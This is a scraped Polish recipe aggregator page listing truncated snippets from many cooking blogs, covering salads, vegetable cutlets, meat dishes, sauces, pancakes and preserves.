Sałatka Olivier - fit i wege 143

wege. 45 minut 4 porcje Składniki 500 g ziemniaków 1/2 szklanki zielonego groszku konserwowego 2 marchewki 2 duże ogórki kiszone 2 ugotowane na twardo jajka 1 czerwona cebula sos: 3 łyżki jogurtu greckiego 2 łyżki musztardy miodowej sól świeżo zmielony czarny pieprz Ziemniaki i marchewki obieramy, kroimy w kostkę i gotujemy do miękkości. Warzywa odcedzamy i przekładamy do miski. Jajka

My Chcemy Jeść
Zielone curry z łososiem, krewetkami oraz cieciorką – oryginalne danie jednogarnkowe z rybą 136

cebulę, seler naciowy, czosnek, imbir następnie przyprawy oraz szczypiorek. Zalej wodą (tak aby zakryć warzywa) i gotuj aż warzywa będą miękkie. Zalej mlekiem kokosowym i zmiksuj. Do gotującego się sosu wrzuć kawałki łososia, krewetki, cieciorkę oraz zielone warzywa – fasolkę i groszek. Gotuj na wolnym ogniu jeszcze 15 minut. Podawaj z ulubionymi dodatkami np. kuskusem, ryżem, papadoms czy chlebkiem naan

wysmienity
Kotlety z ryżu i warzyw – pyszny pomysł na bezmięsny obiad 217

ryżu i warzyw – pyszny pomysł na bezmięsny obiad[/caption] Zobacz inne przepisy na bezmięsny obiad: Kotlety Z Kalafiora I Kaszy Jaglanej – Przepis Na Bezmięsne Mielone Kalafior Zapiekany W Sosie Serowym – Pyszny Sposób Na Kalafiora Zapiekane Naleśniki Ze Szpinakiem I Ricottą Kotlety Ruskie – Przepis Na Tani Obiad Krokiety Ziemniaczane Z Wędzonym Twarogiem Najprostsze Placki Z Cukinii Artykuł Kotlety z ryżu

e-PrzepisyKulinarne
Sezamowa pasta z bobu z raitą i tortillą 121

indyjskiego dipu przygotowanego z jogurtu i warzyw, do tego zrobiłam pastę z bobu, a że nie miałam sezamowej pasty tahini, dzięki której powstałby hummus z bobu to wykorzystałam gotowy sos sezamowy, bo bób kocha sezam, uwierzcie mi. Do tego chipsy z tortilli, która już lekko obeschła i którą miałam wyrzucić. I tak powstał idealny zestaw przekąsek. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kurczak z kaszą, pieczarkami i pomidorami 137

dodawać pieczarki. Smażymy aż lekko zbrązowieją/zezłocą się. Dodajemy czosnek, chwilę smażymy. Następnie na patelnię wlewamy pomidory wraz z zalewą (do puszki po pomidorach wlewamy trochę wody, zbieramy sos pomidorowy ze ścianek i wlewamy na patelnię), bulion oraz dodajemy kaszę. Gotujemy na małym ogniu, co jakiś czas mieszając do czasu aż kasza zmięknie (około 20-30 minut). W razie

Smaki Na Talerzu
Młoda Kapusta na Pomidorowo 106

adsbygoogle = window.adsbygoogle || []).push({}); Młoda kapusta na pomidorowo z dodatki marchewki i sosu pomidorowego to idealny dodatek do pysznych letnich dań. Świetnie smakuje szczególnie w towarzystwie młodych ziemniaczków i ulubionym mięsem.  Składniki: 1 młoda kapusta średniej wielkości 2 cebule 2 marchewki 1/4 kostki masła 2 łyżki śmietany 3 łyżki koncentratu pomidorowego 1 łyżka mąki 2 łyżeczki vegety 1 kostka

Przepiski.pl
Żeberka z pieca dla mięsożernych 137

funkcję grilla na 250ºC. Umieść blachę z mięsem na najwyższym poziomie. Piecz żeberka przez 2,5 godziny, odwracając je co jaki czas najlepiej co pół godziny. W międzyczasie przygotuj sos. Wymieszaj śmietanę z czosnkiem przeciśniętym przez praskę, pietruszką i solą do smaku. Usmaż frytki z batatów. Najlepszy przepis na frytki z batatów znajdziesz tutaj . Zawsze z niego korzystam. Ta metoda

codojedzenia
Polędwiczki w sosie Whiskey 126

smażyć, piec, grillować - zawsze smakuje wyśmienicie. Nie wymaga długiej obróbki termicznej, dzięki czemu można już w pół godziny przygotować z niej wykwintne danie. I takie […] Artykuł Polędwiczki w sosie Whiskey pochodzi z serwisu Wędrówki po kuchni

Wędrówki po kuchni
Fasolka szparagowa z mięsem mielonym 192

mięso zmieni kolor. Dodajemy czosnek i wlewamy krojone pomidory. Przyprawiamy suszoną bazylią, słodką i ostrą papryką. Jeśli mamy w domu, możemy dodać odrobinę octu balsamicznego i kminu (kuminu). Gdy sos się zagotuje, próbujemy i doprawiamy jeszcze solą, pieprzem oraz cukrem do smaku. Wkładamy odlaną, ugotowaną fasolkę. Mieszamy i podajemy z posiekaną natką pietruszki.   Post Fasolka szparagowa z mięsem mielonym

Poezja smaku
Placuszki z cukinii i marchewki 110

odciskamy. Dodajemy jajka, mąkę i posiekane zioła. Na patelni rozgrzewamy niewielką ilość oleju i zmniejszamy ogień. Nakładamy niewielkie placuszki i smażymy z obu stron. Gotowe placuszki podajemy z sosem i dowolnymi dodatkami, np. z ogórkiem i awokado. Smacznego :) Artykuł Placuszki z cukinii i marchewki pochodzi z serwisu Mienta blog

Mienta blog
MARYNOWANA FASOLKA SZPARAGOWA: przepis 143

szparagowa do słoików na zimę . Pyszna konserwowa fasolka szparagowa, którą można pokroić i dodać do sałatki z tuńczykiem lub do sałatki ziemniaczanej. Zalewę z fasolki można wykorzystać do zrobienia sosu sałatkowego.      Do przygotowania marynowanej fasolki szparagowej należy użyć fasolek dojrzałych jednak unikając strączków twardych i łykowatych. Jeżeli fasolka szparagowa będzie za młoda, to pod wpływem zalewy nadmiernie

Moja Książka Kucharska
Fasolka szparagowa w pomidorach 210

Wegańskie "spaghetti" w sosie pomidorowym możemy zrobić z użyciem fasolki szparagowej. Czytaj więcej

Ana Mari's world
Fasolka szparagowa w pomidorach 210

Wegańskie "spaghetti" w sosie pomidorowym możemy zrobić z użyciem fasolki szparagowej. Czytaj więcej

Ana Mari's world
Pasta z makrelą z puszki 128

Pomysły na śniadanie: ** Muffiny śniadaniowe ** Jajka faszerowane tuńczykiem ** Nadziewane koszyczki z ciasta francuskiego ** Sałatka Caprese   (adsbygoogle = window.adsbygoogle || []).push({}); Skład: 1 puszka filetów z makreli w oleju lub w sosie własnym (170 g) 3 jajka ugotowane na twardo mała cebulka szczypiorek łyżka majonezu sól i pieprz   Makrelę wyjmij z oleju, przełóż do miseczki i rozdrobnij widelcem. Cebulę, szczypiorek

Kulinarny S.O.S.
Egipski Ful, czyli genialna pasta z bobu i pomidorów 174

postaci gulaszu do śniadania lub jako dodatek do podpłomyków. Czasami bób jest rozgotowany, czasami rozgnieciony, a innym razem jędrny i chrupiący. Bywa podawany z tahini lub ostrym sosem chili, innym razem z jajkami lub posypany świeżą cebulą, zieleniną i pomidorami. W Słonecznej Kuchni zagościł w tej ostatniej wersji pod postacją pasty, na którą namawiała Marta z Jadłonomii. Wyszła wspaniale! Ziemisty

Kuchnia w Słońcu Skąpana
Sałatka z fasolki szparagowej słodko - ostra na zimę 169

Pyszny sposób na fasolkę z papryką w sosie chilli i ketchupie-polecam zimą do ryżu i nie tylko,przepis robiony w mojej rodzinie od wielu lat -ciągle do niego wracamy,spróbujcie sami

Swojskie jedzonko
Ryżowa zapiekanka z brokułem i łososiem 154

wykładamy ugotowany ryż. Następnie wykładamy kawałki ryby oraz różyczki brokuła i cząstki pomidorów. Śmietankę mieszamy dokładnie z jajkami. Doprawiamy solą, pieprzem oraz szczyptą gałki muszkatołowej. Dodajemy starty ser żółty. Sosem zalewamy zapiekankę. Wstawiamy do piekarnika nagrzanego do 180 stopni na około 40-50 minut

Smaki Na Talerzu
Makaron z szynką parmeńską i suszonymi pomidorami 132

kimchi i tofu Pesto z suszonych pomidorów Makaron z twarogiem i pieczonymi rzodkiewkami Zapiekanka makaronowa z szynką i pieczarkami Makaron z serem feta, szpinakiem i pomidorkami koktajlowymi Makaron z sosem serowo-śmietanowym z brukselką

Czarnawisienka
Racuchy z sosem z borówki czernicy 182

olej łyżką moczoną we wrzątku. Smażyć z obu stron po dwa razy na ładny kolor. Racuchy wykładać na ręcznik papierowy. Odsączone z tłuszczu racuchy posypać cukrem pudrem. Podawać z sosem z jagód/borówek

Weekendy w domu i ogrodzie
Moules à la marinière czyli mule po marynarsku 115

aromatycznym bulionie. Małże gotuje się białym winie, z cebulą szalotką z dodatkiem masła i zieleniny. W Normandii i Bretonii wino bywa zastępowane lokalnym cydrem. Można je podawać z sosami, sałatkami albo z frytkami. We Francji danie to często serwuje się latem, na przykład podczas weekendowych spotkań rodzinnych. Trochę jak chipsy podczas imprez czy popcorn do seansów filmowych, moules

smakowitehistorie.com
Placuszki z cukinii i marchewki 162

Marchew, cukinię, jajko, zmiażdżony czosnek, posiekaną zieleninę włożyć do miski, dodać mąki. Doprawić pieprzem i solą. 4. Smażyć na niewielkiej ilości oleju z obu stron na rumiano. Podawać z sosem czosnkowym lub kleksem jogurtu naturalnego lub śmietany. Smacznego

Kuchnia domowa Ani
Najlepsze drożdżówki z czereśniami i kruszonką 126

czereśniami . Inne propozycje na wykorzystanie czereśni: – koktajl z czereśniami – sernik z czereśniami – Konfitura z czereśni z nutą wanilii i kardamonu – domowy makaron Kokardki z sosem czereśniowym Czereśnie uwielbiamy oboje i najchętniej zjadamy świeże bez przetworzenia, ale, że Piotrek ostatnio przynosi duże ilości to postanowiłam zrobić drożdżówki z czereśniami. Składniki na ok. 20 najlepszych drożdżówek z czereśniami

Damsko-męskie spojrzenie na kuchnię
Keto tatar z łososia (Paleo, LowCarb) 248

jajka , ryba , tatar , łosoś wędzony Porcje 2 porcje Czas przygotowania 10 minut Czas gotowania 4 minuty Składniki 100 g łososia wędzonego lub surowego MOWI 1 łyżeczka aminokwasów kokosowych lub sosu sojowego, jeśli nie unikasz soi 0,25 cebuli czerownej 1 awokado 1 łyżka soku z cytryny 1 szczypta soli himalajskiej, kłodawskiej lub morskiej 1 pomidor 1 łyżeczka oliwy 8 plasterków

Modern Cave Girl
Langos z serem 129

odłożyć na drewnianą deskę lub na kawałek ręcznika papierowego. W taki sam sposób usmażyć pozostałe placki. Każdego placka troszkę posolić, posypać startym serem. Jeśli lubicie czosnek to polecam zrobić sos . Czosnek przecisnąć przez praskę i wymieszać ze śmietaną lub odrobiną olejem i posmarować nim placka. Smacznego. Znajdziesz mnie w https://zblogowani.pl/blogi_kulinaria/smacznepotrawy-com The post Langos z serem appeared first

Smaczne Potrawy
Obiad bez gotowania? Jak najbardziej! 130

ogórek 2 awokado 1 czerwona papryka 2 łyżki łuskanych nasion konopi ćwiartki cytryny do podania świeży koper do dekoracji Dressing Rhode Island 4 łyżki majonezu, domowego 2 łyżki chili sosu, niesłodzonego 1 łyżeczka przecieru pomidorowego sól do smaku Sałatę opłucz, rozerwij na mniejsze kawałki, osusz i rozdziel do misek. Ogórek i rzodkiewki pokrój na plasterki. Pokrój paprykę w piórka. Awokado

codojedzenia
Nuggetsy z boczniaków 140

poczekaj, aż się nagrzeje. Na rozgrzany olej wrzucaj kawałki boczniaków i smaż chwilę do zarumienienia z każdej strony. Wyjmij boczniaki i odsącz je na ręczniku papierowym. Podawaj z ulubionymi sosami i dodatkami. Informacje dodatkowe Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając #przepisynawidelcu Artykuł Nuggetsy z boczniaków pochodzi z serwisu Przepisy na widelcu

Przepisy na widelcu
Sałatka ze szparagami i jajkiem 132

cytryny, musztardę i doprawić do smaku miodem, solą i pieprzem. Dokładnie wymieszać.  Sałatę rozłożyć na talerzu. Na nią poukładać pomidor, szparagi oraz jajka. Całość polać przygotowanym sosem.    Smacznego

magiczna kuchnia Kasi
Polędwiczka wieprzowa w sosie pieczarkowym 204

Polędwiczka wieprzowa w sosie pieczarkowym to po prostu przepis klasyka.  Szczególnie dobrze smakuje podana z kaszą gryczaną i buraczkami lub sałatką z ogórków kiszonych. Polędwiczka wieprzowa ma jeden atut – robi się ją szybko w porównaniu do innych części wieprzowiny. Składniki na 4 porcje: 600g polędwiczki wieprzowej 400g pieczarek 1 cebula 100g jogurtu naturalnego 70g serka śmietankowego typu Twój smak

Fabryka pomysłów
Sałatka z tuńczykiem 152

omega 3. Dziś przed Wami szybka i prosta sałatka z tuńczykiem, która na pewno Wam zasmakuje. Jest po prostu przepyszna! Sałatka z tuńczykiem – składniki (6 porcji): tuńczyk w sosie własnym, 170g, kukurydza konserwowa, 80g, 1 mały zielony ogórek, 4 ogórki kiszone, 1 czerwona papryka, 1 czerwona cebulka, pęczek szczypiorku, szczypta soli i pieprzu, 1 łyżka majonezu lub jogurtu naturalnego

Natka Pietruszki
Najlepsze drożdżówki z czereśniami 142

czereśniami . Inne propozycje na wykorzystanie czereśni: – koktajl z czereśniami – sernik z czereśniami – Konfitura z czereśni z nutą wanilii i kardamonu – domowy makaron Kokardki z sosem czereśniowym Czereśnie uwielbiamy oboje i najchętniej zjadamy świeże bez przetworzenia, ale że Piotrek ostatnio przynosi ich duże ilości to postanowiłam zrobić najlepsze drożdżówki z czereśniami. Przepis na Najlepsze drożdżówki z czereśniami

Damsko-męskie spojrzenie na kuchnię
Skrzydełka miodowe 122

pięknie rumiane. Do skrzydełek możesz użyć nie tylko wersji klasycznej miodu lipowego Huzar ale i wersji europejskiej czyli lipowego miodu Rumuńskiego. Składniki: 0,5 kg skrzydełek Marynata: 3 łyżki sosu sojowego 2 małe ząbki lub 1 duży 2 łyżki miodu lipowego 1 łyżka papryki słodkiej 1/2 łyżeczki papryki wędzonej 1 łyżka ziół (oregano, rozmaryn, tymianek, majeranek, cząber – najlepiej miks wszystkich

Czarnawisienka
Sałatka warstwowa z makaronem – pyszna i prosta 135

żółty ścieramy na tarce o drobnych oczkach. Majonez mieszamy z jogurtem, czosnkiem przeciśniętym przez praskę i przyprawami. W dużej przezroczystej misce układamy kolejno: makaron, bób, jajka, pomidory, fasolkę, sos czosnkowy i ser żółty. Sałatkę można podawać od razu po przygotowaniu. [caption id="attachment_9288" align="aligncenter" width="1200"] Sałatka warstwowa z makaronem – pyszna i prosta[/caption] Zobacz inne przepisy

e-PrzepisyKulinarne
ROLADY Z SZYNKI WIEPRZOWEJ 139

wlać wodę, całość przelać do garnka z roladami. Dodać ziele angielskie, liście laurowe. Całość gotować na małym ogniu około 45 minut. W razie potrzeby doprawić solą i pieprzem. Powstały sos można zagęścić zawiesiną z mąki i wody

Zrób to smacznie
Smak swojskiej kiełbasy 173

wędliny sięgamy często i chętnie. Jedzone w zupach, sosach, na kanapkach. Pieczone, grillowane, gotowane. Boczki, kiełbasy, kaszanki i pasztety. Lubimy ich smak. Ale lubimy także wiedzieć, co jemy. Bo nie każda wędlina jest taka sama, chociaż wyglądać może podobnie. Nie każda smakuje tak samo, pachnie tak samo, czy tak samo jest dla nas zdrowa. Tradycyjne podejście do wędliny… Każdy

Fascynacje Ani
Pieczony Kurczak w Sezamie 138

przygotowane filety możemy spożywać z tradycyjnymi ziemniakami i surówką w formie obiadu. Można także go dodać do sałatki lub pokroić na mniejsze kawałki i serwować w formie przekąski z sosem czosnkowym. Poniżej zaprezentuję Wam mój ulubiony przepis na kurczaka w sezamie, pieczonego w piekarniku. Jest soczysty, mięciutki, wręcz rozpływa się w ustach. Serdecznie polecam! Składniki: filet z kurczaka

Przepiski.pl
Schab w sosie morelowym z kaszą kuskus 169

przetworów, bądź po prostu jemy świeże, bo takie chyba są najlepsze. Jednak z owoców, można wyczarować również zaskakujące dania, gdyż świetnie komponują się z […] Artykuł Schab w sosie morelowym z kaszą kuskus pochodzi z serwisu Wędrówki po kuchni

Wędrówki po kuchni
Sałatka z Mango Granatem i Awokado 129

Mango, awokado obieramy ze skórki i kroimy w drobną kostkę. Ser feta, także kroimy na średniej wielkości kosteczkę. Wszystko przesypujemy do salaterki. Następnie dodajemy wyłuskany granat. Mieszamy wszystkie składniki sosu i polewamy po sałatce, po czym mieszamy. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sałatka z Mango Granatem i Awokado pochodzi z serwisu Przepiski.pl

Przepiski.pl
Tomahawk steak . Stek wieprzowy z kością 306

lubimy steki. Wyjmujemy mięso z piekarnika, na każdym kotlecie polecam położyć 1 łyżeczkę masła. Podałam steki z sałatką z pomidorami, mozzarellą i ogórkiem małosolnym i czerwoną cebulą, oraz pysznym sosem np. sweet chili. A wy podajcie steki z tym czym lubicie! The post Tomahawk steak . Stek wieprzowy z kością appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Dorsz po helsku. Bardzo prosty przepis na pyszny obiad z rybą 176

zdejmij z patelni do masła dodaj połowę koperku i sok z cytryny, dopraw solą i pieprzem, wymieszaj, wyłącz ogień. Na talerz najpierw wyłóż ziemniaki, na nich połóż rybę, polej sosem maślanym i posyp pozostałym koperkiem. Od razu podawaj. Artykuł Dorsz po helsku. Bardzo prosty przepis na pyszny obiad z rybą pochodzi z serwisu Kulinarna Polska | Gotowanie i jedzenie

Kulinarna Polska
Sos pieczarkowo-śmietanowy 131

Pyszny sos pieczarkowo-śmietanowy. Delikatny i kremowy, bez użycia mąki. Idealny jako dodatek do wielu dań obiadowych, do mięs, makaronu, kopytek czy ziemniaków. Palce lizać !. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 500 gram pieczarek 1 duża cebula dwa większe ząbki czosnku 400 ml kwaśnej śmietany 12 lub 18% pół pęczka koperku sól, pieprz olej lub oliwa do smażenia (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie

Blog kulinarny S9.PL
MŁODE MARCHEWKI ZE SZPARAGAMI, BOCZKIEM I PARMEZANEM 166

miseczce wymieszaj sok z 1/2 soczystej cytryny, olej tłoczony na zimno np. słonecznikowy lub oliwę z oliwę, dodaj zioła, 1/2 łyżeczki syropu klonowego, całość posól i dopraw pieprzem. Sosem polej sałatkę. Pyszne

SMYKWKUCHNI
Frytki z cukinii – szybka przekąska 233

sprawdźcie) są bardzo smaczne Frytki z cukinii – szybka przekąska Składniki na 2 porcje: 2 duże cukinie 4 łyżki mąki pszennej olej do smażenia sól + ketchup, sos czosnkowy, zioła Sposób przygotowania: Cukinię dokładnie umyj i pokrój w plastry o grubości ok. 0,5 cm. Następnie każdy plaster pokrój w paski o dowolnej długości. Tak pokrojoną cukinię ułóż na ręczniku kuchennym

365 dni dookoła kuchni
Kluski ze szpinakiem i serem 127

Pożywne, ciekawe w smaku i oryginalnie wyglądające kluski to podstawa dobrego obiadu bez mięsa. Można je jeść z makaronem lub ryżem z ulubionym sosem lub nawet samodzielnie z jaką surówką. Polecam serdecznie, bo to w sumie proste i smaczne danie. POTRZEBUJEMY 150 g świeżego szpinaku 6 łyżki startego sera żółtego 200 g czerstwych bułek 3 ząbki czosnku 2 jajka

Fleksitarianizm.pl
Menu na tydzień: Szybkie dania z patelni 172

początku był dość wybrednym konsumentem . Był taki czas, kiedy jadł tylko jeden rodzaj zupy ze słoika: potrawkę z cielęciny – to i tylko to. Potem chciał jeść tylko spaghetti z sosem pomidorowym – codziennie „makaronik” rano, w południe i wieczorem. Ostatnio, na szczęście, menu Miłosza mocno się zróżnicowało. Przede wszystkim, co cieszy najbardziej – z apetytem zjada ryby. Warunek jest jeden: ryba

Niedzielny kucharz
Zdrowe pulpety z cieciorki i szpinaku 165

przekąski, z sadzonym jajkiem. Czas: 30 minut Poziom trudności : Łatwe Liczba porcji : 4   Nie wiemy jak tobie, ale nam pulpety kojarzą się z nieśmiertelnym, obiadowym daniem mięsnym w sosie pomidorowym lub pieczarkowym, stały składnik menu z babcinego sztambucha. Niemniej smakowite, a znacznie zdrowsze są pulpety wegetariańskie, niezwykle łatwe i szybkie do zrobienia. Wystarczy blender, albo po prostu robot ręczny

Niedzielny kucharz
Grzanki z dwoma serami, aioli i jajkiem w koszulce 127

Proste danie śniadaniowe, ale za to pyszne (dla lubiących jajka z płynnym żółtkiem) i pożywne. Ser żółty i cheddar uzupełnione o sos aioli doskonale komponują się z jajkiem poche

Milion Smaków
Langosze 158

chcesz śmietanę możesz zastąpić gęstym jogurtem naturalnym. Placki drożdżowe przygotowane z mąki, mleka, utłuczonych ziemniaków i drożdży świetnie smakują także z innymi dodatkami jak np. pieczarki, szynka, papryka, z sosem pomidorowym czy pastą paprykową. Langosze SKŁADNIKI: 400 g mąki pszennej + 1 łyżka do zaczynu 330 g ugotowanych ziemniaków 30 g świeżych drożdży 1 i ½ szklanki mleka 4 łyżki roztopionego

Zasmakuj Kuchni
Kotlety z kalafiora i kaszy jaglanej – przepis na bezmięsne mielone 145

Kotlety z kalafiora i kaszy jaglanej to pyszne, wegetariańskie danie, które można podać na zdrowy, bezmięsny obiad. Takie kotlety najlepiej smakują z sosem na zimno np. czosnkowym albo tzatziki i surówką warzywną albo ogórkami małosolnymi. Kotlety smakują rewelacyjnie, są aromatyczne, mięciutkie i delikatne. Powinny zasmakować nawet zadeklarowanym mięsożercom.   Składniki na kotlety z kalafiora i kaszy jaglanej (około 6 sztuk

e-PrzepisyKulinarne
Sałatka Mr. Bob 160

strony. 6.    Na dno naczynia wykładamy warzywa dodajemy bób i układamy po bokach kolendrę a w środek sałatki wtykamy kawałki kurczaka. 7.    Na koniec robimy sos, mieszamy ketchup z majonezem i dekorujemy nim sałatkę robiąc kleksy. 8.    Sałatka gotowa. 9.    Smacznego

Kulinarna Chwila
Cytrynowe naleśniki z makiem i jagodami! Przepyszne! 196

masła stop na patelni, dodaj pokrojoną w plasterki cytrynę i 2 łyżki syropu klonowego, pozostaw na 10 minut, aby cytryna oddała aromat do masła.  - ponownie podgrzej, gorącym sosem polej gotowe naleśniki tuż przed podaniem, dodatkowo, skrop syropem klonowym i dodaj dużo świeżych jagód.  - dodałam jeszcze na wierzch płatki migdałowe - przepyszne jedzenie!  SPRAWDŹ INNE POMYSŁY NA ŚNIADANIE

SMYKWKUCHNI
Idealne ciasto na puszystą pizze 118

Dwie blaszki smarujemy oliwą lub wykładamy papierem do pieczenia (ew. nagrzać kamień do pizzy ), na środek kładziemy ciasto na pizze i dłonią rozprowadzamy je na kształt koła. Nakładamy najlepszy sos do pizzy i układamy ulubione dodatki. Posypujemy startym serem. Pieczemy w 220 °C ok 20 min, do zarumienienia spodu pizzy. Artykuł Idealne ciasto na puszystą pizze pochodzi z serwisu Cook

CookYourself
Przecier pomidorowy do słoików na zimę 141

wtedy pomidory są najtańsze i kupuję hurtowe ilości. Poniższy przepis jest na 35 słoików o pojemności 330 ml. Jeśli już weźmiecie się za robienie własnego przecieru pomidorowego, zróbcie koniecznie sos bolognese ! Składniki (ma 35 słoików o pojemności 330 ml): 20 kg pomidorów (używam pomidorów podłużnych polnych, odmiana Lima) 8 łyżek cukru 2 łyżki soli Pomidory dokładnie myjemy, kroimy na ćwiartki

CookYourself
Karkówka pieczona z warzywami 204

Karkówka pieczona z warzywami Smaczne, aromatyczne i kruche mięso duszone w delikatnym warzywnym sosie to pomysł na inny niż zwykle obiad. Składniki: 0,5 kg karkówki pół czerwonej papryki pół żółtej papryki 1 czerwona cebula pół niewielkiej cukinii 1 marchewka kawałek pora pół pęczka natki pietruszki 1/3 szklanki bulionu pół pęczka natki pietruszki przyprawy: sól, pieprz, papryka słodka oraz ostra

Blog z Apetytem
Sos żurawinowy / Cranberry sauce 152

około 7 - 10 minut. Potem dodajemy cynamon i soki. Znowu wszystko mieszamy i gotujemy jeszcze przez parę minut (około 5 minut). Studzimy i miksujemy w blenderze. Nadmiar wody redukujemy. Sos podajemy w temperaturze pokojowej, idealnie nadaje się do mięs pieczonych. ***** We put the cranberries to boiling water, sugar. We mix everything and cook for about 7 - 10 minutes. Then

Projekty ze smakiem
TRUSKAWKI W FRUŻELINIE W SŁOJU 195

wody i 100 g cukru, całość gotowałam na najsilniejszym ogniu, dodałam 2 czubate łyżki pektyny owocowej i całość gotowałam, do momentu, aż przestała się pienić. Gorący sos z owocami przelałam do słoja i szybko zamknęłam słój. Następnego dnia rano (bo dżem robiłam w nocy), truskawki były już stężałe i są zatopione w gęstej galaretce/ frużelinie. Przepyszne! Robiłam też dżem jagodowy

SMYKWKUCHNI
Delikatne naleśniki z wiśniami i mascarpone 218

Mega pyszne, delikatne, rozpływają się w ustach, to naleśniki. Wiśnie smażone w sosie własnym są rewelacyjne a kremowy ser dopełnia całości. Polecam zróbcie sobie to cudowne danie, będziecie chcieli więcej. Naleśniki z serem i wiśniami. CZYTAJ DALEJ

Moje Małe Czarowanie
Dolma – gołąbki zawijane w liście winogron 185

nich ciasno ułożyć gołąbki dolma, wlać szklankę wody, przykryć pozostałymi liśćmi. Gotować na małym ogniu ok. 30 minut. Gołąbki zawijane w liście winogron można podawać polane oliwą lub z sosem pomidorowym. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Dolma – gołąbki zawijane w liście winogron pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Makaron z truskawkami 171

homogenizowanego (ok. 100 g), - 1/5 opakowania makaronu (ok. 100 g). Sposób przygotowania 1. Truskawki rozgniatamy widelcem z dodatkiem cukru. 2. Truskawki łączymy z serkiem homogenizowanym. 3. Ugotowany makaron polewamy sosem truskawkowym. Makaron z truskawkami jest bogaty w: - wapń (pochodzący z serka homogenizowanego), który jest składnikiem kości i zębów, - witaminę C (pochodzącą z truskawek), która jest antyoksydantem, działa przeciwnowotworowo. Wartość odżywcza

Zdrowe odżywianie w pięciu smakach
Udziec indyczy nadziewany 150

każdej strony na złoty kolor. Dodać cebulę, zeszklić. Następnie wlać koncentrat pomidorowy i szklankę wody razem wymieszać. Mięso przełożyć do naczynia do zapiekania, wyłożyć cząstki cebuli i wylać sos dookoła mięsa. Przykryć i wstawić do piekarnika nagrzanego do 200 stopni na 30 minut. W międzyczasie obgotować fasolkę szparagową, w osolonej wodzie około 10 minut i przełożyć do mięsa razem

gotuj ze mną
Schab zapiekany z warzywami 288

Składniki: 8 plastrów schabu po połowie czerwonej, żółtej i białej papryki 3-4 liście jarmużu 1 puszka krojonych pomidorów 1 cebula 1 kalafior sól, pieprz słodka papryka sos chili ocet balsamiczny … Czytaj dalej Schab zapiekany z warzywami

czarrna od kuchni
Sałatka ziemniaczana z jajkami i wędzonym boczkiem 161

Ogórka kroimy w kostkę. Dymkę drobno szatkujemy, czosnek przeciskamy przez praskę. Majonez mieszamy z jogurtem, dodajemy zmiażdżony czosnek, majeranek, sól i pieprz. Wszystkie składniki wrzucamy do miski polewamy majonezowym sosem i delikatnie mieszamy

Qchnia po prostu
Makaron z indykiem i cukinią w sosie śmietanowym 220

Dzień dobry :-) Danie z serii na szybko ;-) Makaron kokardki do tego indyk, cukinia i ja dorzuciłam kilka zielonych oliwek, natki pietruszki i to w sosie śmietanowym posypane serem grana padano. Smakowało wszystkim, polecam i miłego czwartku Wam życzę :-) Składniki na 4 porcje: makaron u mnie kokardki ok. 300 g 1 mniejsza cukinia około 400 g filetu z indyka/kurczaka 2 ząbki

kruche babeczki
Kotlety z kaszy jaglanej z warzywami 122

często robię. Potem wystarczy po rozmrożeniu uformować kotlety i usmażyć – obiad w 15 minut. A tu dla przypomnienia inne kotlety z kaszy jaglanej- z ciecierzycą, cukinią i sosem tahini Kotlety z kaszy jaglanej z warzywami Składniki: 1 szklanka suchej kaszy jaglanej 1 cebula 2 marchewki 3 łyżki oliwy 2 ząbki czosnku 100 g szpinaku baby 1 łyżeczka przyprawy curry

Cooking for Emily
Bitki z Kurczaka W Sosie Z Cukinią 125

Sezon cukiniowy czas zacząć... dziś na obiad polecają się bitki z kurczaka w sosie śmietanowo koperkowym z dodatkiem cukinii i marchewki. Niebo w gębie. SKŁADNIKI: 700g fileta z kurczaka 1 średnia cukinia 2 marchewki 1 duża cebula 3 ząbki czosnku 1 łyżka koperku 280ml śmietany 30% 280ml wody mąka pszenna sól pieprz olej WYKONANIE: 1. Filet z kurczaka kroimy

Dziś Ja gotuje
Pasztet z selera z pomidorami suszonymi 199

selera, pomimo tego że niektórzy już na sama myśl o tym warzywie się krzywią, smakuje naprawdę całkiem nieźle a idealnie już wprost gdy podamy go w towarzystwie ulubionego sosu np. pomidorowego, czosnkowego, curry. Jeśli lubicie warzywne pasztety, po więcej inspiracji zapraszam as do działy Pasztety-przepisy . PRZEPIS PASZTET Z SELERA Z POMIDORAMI SUSZONYMI Składniki: 1 kg selera korzeniowego 3 cebule

Dorota Smakuje
Fasolka szparagowa po bretońsku – pyszne danie jednogarnkowe 144

jednogarnkowe[/caption] Zobacz inne przepisy na potrawy z fasolką szparagową: Makaron Z Fasolką Szparagową I Pesto Z Jarmużu Szybka Sałatka Z Fasolką Szparagową I Boczkiem Kurczak Z Warzywami W Sosie Serowym Ryż Po Meksykańsku (Wege I Fit) Warzywa Z Kiełbasą Czyli Pyszny Pomysł Na Obiad Zapiekanka Z Makaronu, Kurczaka I Warzyw Zupa Jarzynowa – Przepis Na Domową Zupę Artykuł Fasolka szparagowa

e-PrzepisyKulinarne
Pieczona ryba cytrynowa 124

naczyniu żaroodpornym i smarujemy ją z wierzchu, smakowym masłem i delikatnie pieprzymy. Pieczemy ok 20 minut. Ryba po tym czasie powinna być już gotowa oraz powinien powstać pyszny cytrynowy sos. Jeśli ryba będzie się za szybko rumienić z wierzchu należy ją przykryć folią aluminiową i kontrolować, żeby ryba się upiekła a nie uparowała czy ugotowała w piekarniku. Podajemy z ryżem

CookYourself
Lody z mrożonych bananów 145

sylwetkę… które z różnych przyczyn unikają cukru… lub cierpią na alergię/nietolerancję pokarmową (lody mają niewiele składników uczulających) .   Zdrowe słodkości… ** Sałatka owocowa z malinowym sosem ** Koktaj bananowo-kakaowy ** Lody z arbuza (sorbet) ** Koktajl z mango i banana   (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na 2 porcje: 2 dojrzałe banany 1-2 łyżki jogurtu naturalnego łyżka płynnego

Kulinarny S.O.S.
Cuda natury. Kapary. Co warto o nich wiedzieć? 125

